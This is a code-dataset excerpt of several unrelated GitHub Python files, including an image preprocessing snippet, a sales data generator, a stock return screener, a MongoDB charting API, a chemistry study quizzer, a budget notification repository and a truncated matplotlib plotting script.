+{"seq_id":"18847430615","text":"from torchvision import transforms\n\n# 定义预处理流水线\npreprocess = transforms.Compose([\n transforms.Resize((256, 256)), # 调整图像大小\n transforms.ToTensor(), # 将图像转换为张量\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), # 标准化\n])\n\n# 对输入数据进行预处理\ninput_data = preprocess(input_data)\n","repo_name":"TheonHuang/avatarrex-replicate","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15285838419","text":"from pathlib import Path\nfrom random import Random\n\nif __name__ == '__main__':\n manufacturers = {\n 'ManufacturerA': ['Model0', 'Model1', 'Model2'],\n 'ManufacturerB': ['Model3', 'Model4', 'Model5', 'Model6', 'Model7'],\n 'ManufacturerC': ['Model8', 'Model9', 'Model10']\n }\n\n # for each model and each year, specify number of sales (EU sales, extraEU sales)\n model_sales = {\n 'Model0': {\n 2020: (100, 250),\n 2021: (99, 85)\n },\n 'Model1': {\n 2020: (10, 1),\n 2021: (2, 3)\n },\n 'Model2': {\n 2020: (101, 202),\n 2021: (123, 124)\n },\n 'Model3': {\n 2020: (44, 45),\n 2021: (11, 12)\n },\n 'Model4': {\n 2020: (1, 1),\n 2021: (1, 1)\n },\n 'Model5': {\n 2020: (2, 3),\n 2021: (5, 0)\n },\n 'Model6': {\n 2020: (5, 2),\n 2021: (2, 2)\n },\n 'Model7': {\n 2020: (0, 0),\n 2021: (0, 0)\n },\n 'Model8': {\n 2020: (0, 0),\n 2021: (0, 0)\n },\n 'Model9': {\n 2020: (104, 99),\n 2021: (200, 200)\n },\n 'Model10': {\n 2020: (0, 0),\n 2021: (0, 0)\n }\n }\n\n # min, max prices\n prices = {\n 'Model0': (100, 5200),\n 'Model1': (10, 100),\n 'Model2': (100, 5000),\n 'Model3': (40, 50),\n 'Model4': (10, 100),\n 'Model5': (0, 0),\n 'Model6': (0, 0),\n 'Model7': (0, 0),\n 'Model8': (0, 0),\n 'Model9': (400, 5405),\n 'Model10': (0, 0)\n }\n\n count = 0\n with open('sales.txt', 'w') as fp:\n with open('motorbikes.txt', 'w') as fd:\n for manuf in manufacturers:\n for model in manufacturers[manuf]:\n fd.write(f'{model},modelName,{manuf}\\n')\n for year in model_sales[model]:\n eu_sales, extraeu_sales = model_sales[model][year]\n price_tuple = prices[model]\n for idx in range(eu_sales):\n fp.write(f'{count},bikeID,{model},{year}/01/01,country,{price_tuple[count % 2]},T\\n')\n count += 1\n for idx in range(extraeu_sales):\n fp.write(f'{count},bikeID,{model},{year}/01/01,country,{price_tuple[count % 2]},F\\n')\n count += 1","repo_name":"micerr/Exams-Apache-Spark-and-Hadoop-MapReduce","sub_path":"20210630/DraftSolutionExam20210630/exampleData/data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73853589708","text":"# Imports\nfrom pandas_datareader import data as pdr\nfrom yahoo_fin import stock_info as si\nfrom pandas import ExcelWriter\nimport yfinance as yf\nimport pandas as pd\nimport datetime\nimport time\n\nimport sys\nimport os, fnmatch\nimport shutil\n\n# imports\nimport yfinance as yf\nfrom pandas_datareader import data as pdr\nimport pandas as pd\nimport numpy as np\n\nimport config\nimport datetime\nfrom datetime import date, timedelta\n\n\ndef cp_df_columns_to_df(df_screener, df):\n\n df = df.set_index(df.Ticker)\n df = df.drop(columns=['Ticker', 'Index'])\n\n df_screener = df_screener.set_index(df_screener.symbol)\n\n combined_df = pd.concat([df_screener, df], axis=1)\n combined_df = combined_df.reset_index(drop=True)\n return combined_df\n\ndef get_return_perfo(df_screener):\n len_df = len(df_screener)\n df_screener = df_screener.drop(df_screener[(df_screener.idx == '-')].index)\n df_screener.drop(df_screener[df_screener.symbol == 'CON.DE'].index, inplace=True)\n print(\"remove tickers with no index: \",len_df - len(df_screener))\n\n exportList = pd.DataFrame(\n columns=['Stock', \"RS_Rating\", \"50 Day MA\", \"150 Day Ma\", \"200 Day MA\", \"52 Week Low\", \"52 week High\"])\n\n list_df_export = []\n df_result = pd.DataFrame()\n for index_name in config.INDEX:\n tickers = df_screener[df_screener['idx'] == index_name]['symbol'].tolist()\n\n returns_multiples_year = []\n returns_tickers_year = []\n\n returns_multiples_half_year = []\n returns_tickers_half_year = []\n\n returns_multiples_last_month = []\n returns_tickers_last_month = []\n\n returns_multiples_last_week = []\n returns_tickers_last_week = []\n\n # Index Returns\n index_df = pd.read_csv(config.STOCK_DATA_DIR+index_name+'.csv')\n index_df_year = index_df.tail(int(config.YEAR_OF_TRADE))\n index_df_year.reset_index(inplace=True, drop=True)\n index_df_half_year = index_df.tail(int(config.YEAR_OF_TRADE/2))\n index_df_half_year.reset_index(inplace=True, drop=True)\n index_df_last_month = index_df.tail(int(config.YEAR_OF_TRADE/12))\n index_df_last_month.reset_index(inplace=True, drop=True)\n index_df_last_week = index_df.tail(int(config.YEAR_OF_TRADE/12/4))\n index_df_last_week.reset_index(inplace=True, drop=True)\n\n index_df_year['Percent Change'] = index_df_year['Adj Close'].pct_change()\n lst_index_return_year = (index_df_year['Percent Change'] + 1).cumprod()\n index_return_year = lst_index_return_year[len(lst_index_return_year) - 1]\n\n index_df_half_year['Percent Change'] = index_df_half_year['Adj Close'].pct_change()\n lst_index_return_half_year = (index_df_half_year['Percent Change'] + 1).cumprod()\n index_return_half_year = lst_index_return_half_year[len(lst_index_return_half_year) - 1]\n\n index_df_last_month['Percent Change'] = index_df_last_month['Adj Close'].pct_change()\n lst_index_return_last_month = (index_df_last_month['Percent Change'] + 1).cumprod()\n index_return_last_month = lst_index_return_last_month[len(lst_index_return_last_month) - 1]\n\n index_df_last_week['Percent Change'] = index_df_last_week['Adj Close'].pct_change()\n lst_index_return_last_week = (index_df_last_week['Percent Change'] + 1).cumprod()\n index_return_last_week = lst_index_return_last_week[len(lst_index_return_last_week) - 1]\n\n for ticker in tickers:\n #if ticker == 'VOW3.DE':\n # print(\"DEBUG\")\n # df = pdr.get_data_yahoo(ticker, start_date, end_date)\n # df.to_csv(config.DIR + f'{ticker}.csv')\n if os.path.exists(config.STOCK_DATA_DIR+ticker+'.csv'):\n df = pd.read_csv(config.STOCK_DATA_DIR+ticker+'.csv')\n df_year = df.tail(int(config.YEAR_OF_TRADE))\n df_year.reset_index(inplace=True, drop=True)\n df_half_year = df.tail(int(config.YEAR_OF_TRADE / 2))\n df_half_year.reset_index(inplace=True, drop=True)\n df_last_month = df.tail(int(config.YEAR_OF_TRADE / 12))\n df_last_month.reset_index(inplace=True, drop=True)\n df_last_week = df.tail(int(config.YEAR_OF_TRADE / 12 / 4))\n df_last_week.reset_index(inplace=True, drop=True)\n\n # Calculating returns relative to the market (returns multiple)\n df_year['Percent Change'] = df_year['Adj Close'].pct_change()\n lst_stock_return_year = (df_year['Percent Change'] + 1).cumprod()\n stock_return_year = lst_stock_return_year[len(lst_stock_return_year)-1]\n returns_tickers_year.extend([round(stock_return_year,2)])\n\n returns_multiple_year = round((stock_return_year / index_return_year), 2)\n returns_multiples_year.extend([returns_multiple_year])\n\n df_half_year['Percent Change'] = df_half_year['Adj Close'].pct_change()\n lst_stock_return_half_year = (df_half_year['Percent Change'] + 1).cumprod()\n stock_return_half_year = lst_stock_return_half_year[len(lst_stock_return_half_year)-1]\n returns_tickers_half_year.extend([round(stock_return_half_year,2)])\n\n returns_multiple_half_year = round((stock_return_half_year / index_return_half_year), 2)\n returns_multiples_half_year.extend([returns_multiple_half_year])\n\n df_last_month['Percent Change'] = df_last_month['Adj Close'].pct_change()\n lst_stock_return_last_month = (df_last_month['Percent Change'] + 1).cumprod()\n stock_return_last_month = lst_stock_return_last_month[len(lst_stock_return_last_month)-1]\n returns_tickers_last_month.extend([round(stock_return_last_month,2)])\n\n returns_multiple_last_month = round((stock_return_last_month / index_return_last_month), 2)\n returns_multiples_last_month.extend([returns_multiple_last_month])\n\n df_last_week['Percent Change'] = df_last_week['Adj Close'].pct_change()\n lst_stock_return_last_week = (df_last_week['Percent Change'] + 1).cumprod()\n stock_return_last_week = lst_stock_return_last_week[len(lst_stock_return_last_week)-1]\n returns_tickers_last_week.extend([round(stock_return_last_week,2)])\n\n returns_multiple_last_week = round((stock_return_last_week / index_return_last_week), 2)\n returns_multiples_last_week.extend([returns_multiple_last_week])\n\n # time.sleep(1)\n else:\n print(f\"Could not find data file on {ticker}\")\n\n rs_df = pd.DataFrame(list(zip(tickers,\n returns_tickers_year, returns_multiples_year,\n returns_tickers_half_year, returns_multiples_half_year,\n returns_tickers_last_month, returns_multiples_last_month,\n returns_tickers_last_week, returns_multiples_last_week)),\n columns=['Ticker',\n 'Return_year','Returns_multiple_year',\n 'Return_half_year','Returns_multiple_half_year',\n 'Return_last_month','Returns_multiple_last_month',\n 'Return_last_week','Returns_multiple_last_week'])\n rs_df['RS_Rating_week'] = round(rs_df.Returns_multiple_last_week.rank(pct=True) * 100, 2)\n rs_df['RS_Rating_month'] = round(rs_df.Returns_multiple_last_month.rank(pct=True) * 100, 2)\n rs_df['RS_Rating_half_year'] = round(rs_df.Returns_multiple_half_year.rank(pct=True) * 100, 2)\n rs_df['RS_Rating_year'] = round(rs_df.Returns_multiple_year.rank(pct=True) * 100, 2)\n\n #rs_df.insert(len(rs_df.columns), \"idx\",index_name)\n rs_df.insert(1, \"Index\", index_name)\n\n # if config.KEEP_BEST == True:\n # Creating dataframe of only top 30%\n # rs_df = rs_df[rs_df.RS_Rating >= rs_df.RS_Rating.quantile(config.BEST_PERCENT)]\n df_export = rs_df.copy()\n #list_df_export.extend(df_export)\n\n df_result = pd.concat([df_result , df_export])\n\n df_result = df_result.sort_values(by='Returns_multiple_last_week', ascending=False)\n\n #df_result = pd.concat(list_df_export)\n df_result.to_csv(config.OUTPUT_DIR+\"ScreenReturn.csv\")\n\n df_screener = cp_df_columns_to_df(df_screener, df_result)\n\n return df_screener\n\n\n\n\n\n\n\n","repo_name":"Extracheesy/PortfolioPreSelection","sub_path":"selection/perfo_return.py","file_name":"perfo_return.py","file_ext":"py","file_size_in_byte":8569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40582536465","text":"# !usr/bin/python\n# -*- coding: utf-8 -*-\n# __author__ = 'XueQinwen'\n\nfrom collections import OrderedDict\nfrom bson import SON\nfrom biocluster.config import Config\nimport types\nimport re\nimport datetime\nimport os\nimport json\nfrom api_base import ApiBase\n\nclass AbundCircos(ApiBase):\n def __init__(self, bind_object):\n super(AbundCircos, self).__init__(bind_object)\n self._db_name = \"sanger_tool_lab\"\n\n def add_chord(self, main_id, taxa_table, percent_table):\n data_list = []\n with open(percent_table,\"r\") as pt:#获取样本list和orthers\n lines = pt.readlines()\n for line in lines[1:]:\n fd = line.rstrip().split('\\t')\n data_list.append(fd[0])\n others = []\n with open(taxa_table,\"r\") as inf:\n line = inf.readline()\n feators1 = []\n feator_data1 = {}\n feators = []\n feator_data = {}\n fd = line.rstrip().split('\\t')\n for i in fd[1:]:\n feators1.append(i)\n feator_data1[i] = [0]*len(fd[1:])\n others = [0]*len(fd[1:])\n feator_data[i] = []\n n = 1\n while 1:\n line1 = inf.readline()\n if not line1:\n break\n fd1 = line1.rstrip().split('\\t')\n if fd1[0] in data_list:\n n+=1\n feators.append(fd1[0])\n feator_data[fd1[0]] = []\n feator_data1[fd1[0]] = []\n data = fd1[1:]\n for i in range(len(data)):\n feator_data[feators1[i]].append(float(data[i]))\n feator_data1[fd1[0]].append(float(data[i]))\n else:\n data = fd1[1:] \n for i in range(len(data)):\n others[i] += float(data[i]) \n feators.append(\"others\") \n feators.extend(feators1)\n temp_others = [0]*n\n temp_others.extend(others)\n feator_data[\"others\"] = temp_others\n for yf in range(len(others)):\n feator_data[fd[yf+1]].append(others[yf])\n for j in feators:\n if j in fd[1:]:\n feator_data[j].extend(feator_data1[j])\n continue\n if j == \"others\":\n continue\n feator_data[j].extend([0]*n)\n feator_data[j].extend(feator_data1[j])\n insert_head_dict = {\n \"circos_id\":self.check_objectid(main_id),\n \"type\":\"chord\",\n \"index\":1,\n \"data\":feators\n }\n insert_head_list = [insert_head_dict]\n self.col_insert_data(\"abund_circos_chord\",insert_head_list)\n num = 2\n for n in feators:\n insert_dict = {\n \"circos_id\":self.check_objectid(main_id),\n \"type\":\"chord\",\n \"index\":num,\n \"data\":feator_data[n]\n }\n insert_chord_list = [insert_dict]\n self.col_insert_data(\"abund_circos_chord\",insert_chord_list)\n num+=1\n insert_dict = {\n \"data\":\"data\",\n \"condition\":{\"type\":\"chord\"}\n }\n update_dict = {\n \"chord_data\":json.dumps(insert_dict)\n }\n self.update_db_record(\n \"abund_circos\",{\"_id\":self.check_objectid(main_id)}, update_dict\n )\n \n def add_arc(self,main_id,percent_table,group_table):\n # data2 = []\n with open(percent_table,\"r\") as tpt:\n line = tpt.readline()\n fd = line.rstrip().split('\\t')\n group = fd[1:]\n group_index = {}\n n = 0\n for i in fd[1:]:\n \n group_index[n] = i\n n += 1\n while 1:\n line = tpt.readline()\n if not line:\n break\n fd = line.rstrip().split('\\t')\n data = fd[1:]\n for i in range(len(data)):\n dict_temp = {\n \"circos_id\":self.check_objectid(main_id),\n \"type\": \"chord_arc\",\n \"name\" : fd[0],\n \"group\" : group_index[i],\n \"value\" : float(data[i]),\n \"index\" : 1\n }\n insert_list = [dict_temp]\n self.col_insert_data(\"abund_circos_arc\",insert_list)\n # data2.append(dict_temp)\n\n with open(group_table,\"r\") as tpt:\n line = tpt.readline()\n fd = line.rstrip().split('\\t')\n group = fd[1:]\n group_index = {}\n n = 0\n for i in fd[1:]:\n \n group_index[n] = i\n n += 1\n while 1:\n line = tpt.readline()\n if not line:\n break\n fd = line.rstrip().split('\\t')\n data = fd[1:]\n for i in range(len(data)):\n dict_temp = {\n \"circos_id\":self.check_objectid(main_id),\n \"type\": \"chord_arc\",\n \"name\" : group_index[i],\n \"group\" : fd[0],\n \"value\" : float(data[i]),\n \"index\" : 2\n }\n insert_list = [dict_temp]\n self.col_insert_data(\"abund_circos_arc\",insert_list)\n # data2.append(dict_temp)\n insert_dict = {\n \"name\":\"name\",\n \"index\":\"index\",\n \"value\":\"value\",\n \"group\":\"group\",\n \"condition\":{\"type\":\"chord_arc\"}\n }\n update_dict = {\n \"chord_arc_data\":json.dumps(insert_dict)\n }\n self.update_db_record(\n \"abund_circos\",{\"_id\":self.check_objectid(main_id)}, update_dict\n )\n \n\n \n\n ","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/api/database/tool_lab/abund_circos.py","file_name":"abund_circos.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"23004637313","text":"\"\"\"Dynamic Questions.\"\"\"\nfrom random import sample, choice, random, shuffle, randint\nimport Static_Questions\n\ndef check_answer(desired, guessed, error_margin):\n \"\"\"Simple check to see if the desiered value is within the guess.\"\"\"\n return (desired < guessed + error_margin and desired > guessed - error_margin)\n\ndef get_user_input(wanted_type):\n \"\"\"Abstract away the loop asking the user for input.\"\"\"\n while True:\n user_input = input(\"Please enter your value: \")\n if user_input == \"q\" or user_input == \"exit\":\n raise SystemExit # Nasty way to kill the program :p\n try:\n if wanted_type == bool:\n if user_input.strip() in {\"true\",\"t\",\"True\",\"T\",\"yes\"}: return True\n if user_input.strip() in {\"false\",\"f\",\"False\",\"F\",\"no\"}: return False\n raise ValueError # If not true or false\n if wanted_type == str:\n answer = user_input.strip().upper()\n if answer in {\"A\",\"B\",\"C\",\"D\",\"E\"}: return answer\n if user_input.strip() in {\"true\",\"t\",\"True\",\"T\",\"yes\"}: return \"T\"\n if user_input.strip() in {\"false\",\"f\",\"False\",\"F\",\"no\"}: return \"F\"\n raise ValueError # If not one of the possible errors\n\n return wanted_type(user_input) # Convert input to wanted_type\n except ValueError:\n if wanted_type == bool:\n print(\"Please give either true or false as your answer.\")\n elif wanted_type == str:\n print(\"Please give either A B C D or T/F as your answer.\")\n elif wanted_type == float:\n print(\"Please provide your answer as a number to 2 decimal places.\")\n elif wanted_type == int:\n print(\"Please provide your answer as a whole number.\")\n else:\n print(\"Error function called inccorectly. Called with {}\".format(wanted_type))\n raise ValueError\n\ndef temperatures():\n \"\"\"Module1 unit conversions with temperatures.\"\"\"\n global correct_temperature\n C = randint(-2742, 4000)/10\n K = C + 273.15\n F = C * 1.8 + 32\n R = F + 459.67\n all_temperatures = [(C,\" Celcuis\"), (F,\" Fahrenheit\"), (K,\" Kelvin\"), (R,\" Ranken\")]\n T1,T2 = tuple(sample(set(all_temperatures), 2))\n\n # Chance of being a interval question instead\n if choice([True, False]):\n if T1[1] is \" Celcuis\" or T1[1] is \" Kelvin\":\n T2 = (T1[0] * 1.8, choice([\" A Fahrenheit Interval\", \" A Ranken Interval\"]))\n else:\n T2 = (T1[0] / 1.8, choice([\" A Celcuis Interval\", \" A Kelvin Interval\"]))\n\n print(\"\\n\\nThis is a temperature question.\\n\")\n print(\"For an temperature of {:0.2f}{}\\nPlease find its equivanlent value in{}\".format(*T1,T2[1]))\n guess = get_user_input(float)\n\n if check_answer(T2[0], guess, 0.2):\n print(\"correct\")\n correct_temperature += 1\n else:\n print(\"false the answer is {:0.2f}{}\".format(*T2))\n\ndef pressure():\n \"\"\"Module1 Pressure unit conversions.\"\"\"\n global correct_pressure\n atmg = random()\n mmHgg = atmg * 760\n Kpag = atmg * 101.325\n barg = atmg * 1.01325\n psig = atmg * 14.696\n all_pressure = [(mmHgg,\" mmHg gage\"),\n (atmg,\" atm gage\"),\n (Kpag,\" Kpa gage\"),\n (psig,\" psi gage\"),\n (barg,\" bar gage\"),\n (mmHgg - 760,\" mmHg absolute\"),\n (atmg - 1,\" atm absolute\"),\n (Kpag - 101.325,\" Kpa absolute\"),\n (psig - 14.696,\" psi absolute\"),\n (barg - 1.01323,\" bar absolute\")]\n P1,P2 = tuple(sample(set(all_pressure), 2))\n\n print(\"\\n\\nThis is a Pressure question.\\n\")\n print(\"For an Pressure of {:0.2f}{}\\nPlease find its equivanlent value in{}\".format(*P1,P2[1]))\n guess = get_user_input(float)\n\n if check_answer(P2[0], guess, 0.2):\n print(\"correct\")\n correct_pressure += 1\n else:\n print(\"false the answer is {:0.2f}{}\".format(*P2))\n\ndef fraction():\n \"\"\"Module1 Mass and molar fractions.\"\"\"\n global correct_fraction\n S1,S2,S3 = {\"molar_mass\":1.008, \"name\":\"A\"},{\"molar_mass\":16.00, \"name\":\"B\"},{\"molar_mass\":44.01, \"name\":\"C\"}\n M1,M2,M3 = randint(1,50),randint(1,20),randint(1,20) # Really really shitty but I'm lazy rn\n total_mass = S1[\"molar_mass\"]*M1 + S2[\"molar_mass\"]*M2 + S3[\"molar_mass\"]*M3\n\n print(\"\\n\\nThis is a mass and molar fractions question.\\n\")\n print(\"\\nFor a substance made out of '{}' with a molar mass of '{}'\".format(S1[\"name\"], S1[\"molar_mass\"]))\n print(\"'{}' with a molar mass of '{}'\".format(S2[\"name\"], S2[\"molar_mass\"]))\n print(\"and '{}' with a molar mass of '{}'\".format(S3[\"name\"], S3[\"molar_mass\"]))\n\n # Chance at being molar or mass fraction\n if choice([True, False]):\n print(\"If there are {} moles of {} what is the mass fraction of a substance weighing {:0.2f}g ?\\n\".format(M1, S1[\"name\"],total_mass))\n guess = get_user_input(float)\n answer = (M1*S1[\"molar_mass\"])/(total_mass)*100\n else:\n print(\"If the mass of {} is {} and {} is {} what is the molar fraction of {} \\nin a substance weighing {:0.2f}g ?\\n\".format(S1[\"name\"], M1*S1[\"molar_mass\"], S2[\"name\"], M2*S2[\"molar_mass\"], S3[\"name\"], total_mass))\n guess = get_user_input(float)\n answer = M1/(M1+M2+M3)*100\n\n if check_answer(guess,answer,0.3):\n print(\"correct\")\n correct_fraction += 1\n else:\n print(\"false the answer is {:0.2f}\".format(answer))\n\ndef flow_rate():\n \"\"\"Module1 flow_rate.\"\"\"\n print(\"\\n\\nThis is a flow rate question.\\n\")\n pass\n\ndef solve_mass_ballance(equation_type, d):\n \"\"\"All posible equations for: input + generation = output + consumption + accumulation.\"\"\"\n temp_out = \"\"\n t,r,p = equation_type\n for key,value in d.items():\n if value is None:\n print(\"Find the {}{} of {} when,\\n\".format(key, t, p))\n elif value != 0: # Skip empty values\n temp_out += \"{}{} is {} g{}\\n\".format(key, t, value, r)\n print(temp_out)\n\n if d[\"input\"] is None:\n return d[\"output\"] + d[\"consumption\"] + d[\"accumulation\"] - d[\"generation\"]\n elif d[\"generation\"] is None:\n return d[\"output\"] + d[\"consumption\"] + d[\"accumulation\"] - d[\"input\"]\n elif d[\"output\"] is None:\n return d[\"input\"] + d[\"generation\"] - d[\"consumption\"] - d[\"accumulation\"]\n elif d[\"consumption\"] is None:\n return d[\"input\"] + d[\"generation\"] - d[\"output\"] - d[\"accumulation\"]\n elif d[\"accumulation\"] is None:\n return d[\"input\"] + d[\"generation\"] - d[\"consumption\"] - d[\"output\"]\n\ndef simple_mass_ballance():\n \"\"\"Mass ballance with one equation and one unknown.\"\"\"\n global correct_simple_mass\n print(\"\\n\\nThis is a simple system ballance question.\\n\")\n\n all_variables = {\"input\":randint(0,10), \"output\":randint(0,10), \"generation\":0, \"consumption\":0, \"accumulation\":0}\n K1,K2,K3 = tuple(sample(set(all_variables.keys()), 3))\n all_variables[K1] = randint(1,450)\n all_variables[K2] = randint(1,450)\n all_variables[K3] = None # The variable to be found\n equation_type = choice([(\"\",\"\",choice([\"Steel\",\"Chemical A\"])), (\"rate\",\"/s\", choice([\"Sewage\",\"Pepsi\",\"Chemical A flow\", \"Glue\", \"Glowing Substance\", \"H2SO4\"]))])\n\n answer = solve_mass_ballance(equation_type, all_variables)\n guess = get_user_input(float)\n\n if check_answer(guess,answer,0.3):\n print(\"correct\")\n correct_simple_mass += 1\n else:\n print(\"false the {}{} is {} g{}\".format(K3,equation_type[0], answer,equation_type[1]))\n\ndef complex_mass_ballance():\n \"\"\"Mass ballance with two or more equations.\"\"\"\n global correct_complex_mass\n print(\"\\n\\nThis is a complex system ballance question.\\n\")\n\n all_variables = {\"input\":randint(0,10), \"output\":randint(0,10), \"generation\":0, \"consumption\":0, \"accumulation\":0}\n K1,K2,K3 = tuple(sample(set(all_variables.keys()), 3))\n all_variables[K1] = randint(1,450)\n all_variables[K2] = randint(1,450)\n all_variables[K3] = None # The variable to be found\n equation_type = choice([(\"\",\"\",choice([\"Steel\",\"Chemical A\"])), (\"rate\",\"/s\", choice([\"Sewage\",\"Pepsi\",\"Chemical A flow\"]))])\n\n answer = solve_mass_ballance(equation_type, all_variables)\n guess = get_user_input(float)\n\n if check_answer(guess,answer,0.3):\n print(\"correct\")\n correct_complex_mass += 1\n else:\n print(\"false the {}{} is {} g{}\".format(K3,equation_type[0], answer,equation_type[1]))\n\ndef premade():\n \"\"\"List of premade questions- if you get one right its removed from potential questions.\"\"\"\n global all_questions\n\n choice(all_questions)\n temp = all_questions.pop(0) # Treat scrambled list like a queue\n question,answer = temp\n print(\"\\n\\n{}\".format(question))\n guess = get_user_input(str)\n\n if guess == \"T\": guess = True\n if guess == \"F\": guess = False\n\n if guess == answer:\n print(\"Correct the answer is: {}\".format(answer))\n else:\n print(\"Incorrect the answer is: {}, This question will be asked again.\".format(answer))\n all_questions.append(temp) # Add it back\n\n\nall_questions = Static_Questions.get_all_questions()\nshuffle(all_questions)\ncorrect_temperature = 0\ncorrect_pressure = 0\ncorrect_fraction = 0\ncorrect_simple_mass = 0\ncorrect_complex_mass = 0\n","repo_name":"BlueLightning42/Python-Study-Quizzer","sub_path":"Dynamic_Questions.py","file_name":"Dynamic_Questions.py","file_ext":"py","file_size_in_byte":9393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23357471245","text":"from base_repository.repository import RepositoryManger\n\n\nclass NotificationRepository(RepositoryManger):\n HALF = 1\n FULL = 2\n\n def get_not_notified_budgets(self, current_month):\n cursor = self.connection.cursor()\n query = (\n \"\"\"\n SELECT t_budgets.a_id\n FROM t_budgets\n LEFT OUTER JOIN t_notifications ON t_budgets.a_id = t_notifications.a_budget_id \n WHERE t_notifications.a_notification_type IS NULL AND t_budgets.a_month = '{}'\n \"\"\".format(current_month)\n )\n cursor.execute(query)\n ret = []\n for _ in cursor:\n ret.append(_[0])\n\n return ret\n\n def get_notified_budgets_with_type(self, type, current_month):\n cursor = self.connection.cursor()\n query = (\n \"\"\"\n SELECT t_budgets.a_id\n FROM t_budgets\n LEFT OUTER JOIN t_notifications ON t_budgets.a_id = t_notifications.a_budget_id \n WHERE t_notifications.a_notification_type = {} AND t_budgets.a_month = '{}'\n \"\"\".format(type, current_month)\n )\n cursor.execute(query)\n ret = []\n for _ in cursor:\n ret.append(_[0])\n\n return ret\n\n def create_notification(self, budget_id, type):\n cursor = self.connection.cursor()\n query = (\n \"\"\"\n INSERT INTO t_notifications (a_budget_id, a_notification_type)\n VALUES ({}, {})\n \"\"\".format(budget_id, type)\n )\n cursor.execute(query)\n self.connection.commit()\n","repo_name":"mhmousavi/StylightChallenge","sub_path":"notifications/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17331793329","text":"\nfrom cProfile import label\nfrom turtle import fillcolor\nimport numpy as np\nimport pandas as pd\nimport gc\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib import rcParams\nfrom matplotlib.gridspec import GridSpec\nfrom matplotlib.patches import Circle\nfrom matplotlib.offsetbox import (TextArea, DrawingArea, OffsetImage,\n AnnotationBbox)\nfrom matplotlib.text import OffsetFrom\nfrom matplotlib.patches import Patch\nfrom matplotlib.lines import Line2D\nimport seaborn as sns\nimport pylab as pl\n\nfig_width = 4.5\nfig_height = 1.6\nfont_size = 10\nlabel_ticks_font_size = 10\n\ninputfile1=\"./IOPS.data\"\n\n#\n# macOS下的中英字体混合最佳选择\n#\n# method 1,全凭一种字体同时处理中、英字体\nmatplotlib.rc(\"font\",family='Arial')\nconfig = {\n \"font.size\": font_size, # 全局字体大小\n \"hatch.linewidth\": 2, # bar图里填充线的线宽\n \"hatch.color\": 'white', # bar图里填充线的颜色\n}\nrcParams.update(config)\n#\n\nfig, axs = plt.subplots(1, 3, figsize=(fig_width, fig_height), sharey=False, sharex=False, constrained_layout=True,\n gridspec_kw=dict(left=0.08, right=0.99, bottom=0, top=1),)\n\nax01 = axs[0]\nax02 = axs[1]\nax03 = axs[2] \n\nfile1 = pd.read_csv(inputfile1, sep='\\s+')\n\n\nwidth = 0.2 \n\nA = file1[file1['IOP']==\"NSA\"]\nB = file1[file1['IOP']==\"SA\"]\nC = file1[file1['IOP']==\"DA\"]\nD = file1[file1['IOP']==\"TWA\"] \n \nax01.bar(0.2,A['qps']*1.0/1000,width=width,facecolor='white',edgecolor='black',hatch='-')\nax01.bar(0.8,B['qps']*1.0/1000,width=width,facecolor='white',edgecolor='black',hatch='///')\nax01.bar(1.4,C['qps']*1.0/1000,width=width,facecolor='white',edgecolor='black',hatch='\\\\\\\\')\nax01.bar(2,D['qps']*1.0/1000,width=width,facecolor='black',edgecolor='black')\n\nlabels = ['NA','SA','DA',' TWA'] \n\nax01.set_ylim((0,35))\n# y=[]\n# ax01.set_yticks(y)\nax01.set_ylabel(\"Throughput \\n (Kops/s)\") \n\nax01.set_xlabel(\"IOPS allocation scheme\",fontsize=9) \nx = [0.2,0.8,1.4,2]\nax01.set_xlim((0,2.5))\nax01.set_xticks(x)\nax01.set_xticklabels(labels,fontsize=9)\n# ax01.get_xaxis().set_visible(False)\n\n#去掉边框\nax01.spines['right'].set_visible(False)\nax01.spines['top'].set_visible(False)\n\n\n### avglat\nax02.bar(0.2,A['avglat'],width=width,facecolor='white',edgecolor='black',hatch='-')\nax02.bar(0.8,B['avglat'],width=width,facecolor='white',edgecolor='black',hatch='///')\nax02.bar(1.4,C['avglat'],width=width,facecolor='white',edgecolor='black',hatch='\\\\\\\\')\nax02.bar(2,D['avglat'],width=width,facecolor='black',edgecolor='black')\n\nlabels = ['NA','SA','DA',' TWA'] \n\nax02.set_ylim((0,1200))\n# y=[]\n# ax02.set_yticks(y)\nax02.set_ylabel(\"Latency ($\\mu$s)\") \n\nax02.set_xlabel(\"IOPS allocation scheme\",fontsize=9) \nx = [0.2,0.8,1.4,2]\nax02.set_xlim((0,2.5))\nax02.set_xticks(x)\nax02.set_xticklabels(labels,fontsize=9)\n# ax02.get_xaxis().set_visible(False)\n\n#去掉边框\nax02.spines['right'].set_visible(False)\nax02.spines['top'].set_visible(False)\n\n## 99lat\n \nax03.bar(0.2,A['99lat']*1.0/1000,width=width,facecolor='white',edgecolor='black',hatch='-')\nax03.bar(0.8,B['99lat']*1.0/1000,width=width,facecolor='white',edgecolor='black',hatch='///')\nax03.bar(1.4,C['99lat']*1.0/1000,width=width,facecolor='white',edgecolor='black',hatch='\\\\\\\\')\nax03.bar(2,D['99lat']*1.0/1000,width=width,facecolor='black',edgecolor='black')\n\nlabels = ['NA','SA','DA',' TWA'] \n\nax03.set_ylim((0,15))\n# y=[]\n# ax03.set_yticks(y)\nax03.set_ylabel(\"Latency (ms)\") \n\nax03.set_xlabel(\"IOPS allocation scheme\",fontsize=9) \nx = [0.2,0.8,1.4,2]\nax03.set_xlim((0,2.5))\nax03.set_xticks(x)\nax03.set_xticklabels(labels,fontsize=9)\n# 